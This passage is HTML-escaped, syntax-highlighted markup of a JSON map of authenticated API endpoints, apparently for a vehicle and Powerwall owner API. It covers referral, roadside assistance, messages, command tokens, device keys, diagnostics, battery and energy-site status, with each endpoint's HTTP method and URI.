&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CONTENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;HTML&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;REFERRAL_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/referral_data&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;REFERRAL_PAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;referral_page&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CONTENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;HTML&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;ROADSIDE_ASSISTANCE_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/roadside_assistance_data&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;ROADSIDE_ASSISTANCE_PAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;roadside_assistance_page&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CONTENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;HTML&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MESSAGE_CENTER_MESSAGE_LIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/messages&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MESSAGE_CENTER_MESSAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/messages/{message_id}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MESSAGE_CENTER_COUNTS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/messages/count&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MESSAGE_CENTER_MESSAGE_ACTION_UPDATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/messages/{message_id}/actions&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MESSAGE_CENTER_CTA_PAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;messages_cta_page&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CONTENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;HTML&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH_COMMAND_TOKEN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/command_token&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_DEVICE_KEY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/keys&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;DIAGNOSTICS_ENTITLEMENTS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/diagnostics&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_DIAGNOSTICS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/diagnostics&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_SUMMARY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/status&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_POWER_TIMESERIES_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/powerhistory&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_ENERGY_TIMESERIES_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/energyhistory&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_BACKUP_RESERVE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/backup&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_SITE_NAME&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/site_name&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_OPERATION_MODE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/operation&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SITE_SUMMARY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/status&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
